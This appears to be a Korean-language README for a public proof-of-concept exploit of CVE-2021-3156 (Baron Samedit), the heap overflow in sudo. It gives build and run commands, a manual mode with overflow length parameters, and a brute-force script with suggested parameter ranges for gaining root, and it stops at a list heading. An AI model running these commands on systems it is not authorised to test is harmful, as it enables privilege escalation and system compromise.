exodusro/cve-2021-3156CVE-2021-3156에 대한 개념 증명 익스플로잇, sudo의 힙 기반 버퍼 오버플로우 (Baron Samedit). 대상 선택, 수동 매개변수 조정, 그리고 권한 상승을 위한 실험적 무차별 대입 탐지를 제공합니다.
이것은 sudo의 CVE-2021-3156 취약점(Qualys가 Baron Samedit이라고 명명)에 대한 익스플로잇입니다.
빌드:
$ make
타겟 목록:
$ ./sudo-hax-me-a-sandwich
실행:
$ ./sudo-hax-me-a-sandwich <target_number>
수동 모드:
$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
GNU parallel이 설치되어 있는지 확인하세요.
$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>
시도해볼 몇 가지 기본값:
$ ./brute.sh 90 120 50 70 150 300
사용 가능한 모든 코어를 소모합니다. netflix & brute를 시도하지 마세요.
저장소에 기여해주세요. PR을 보내주세요 (합리적인 경우), 병합할 수 있습니다. 스타를 눌러주세요.
몇 가지 아이디어: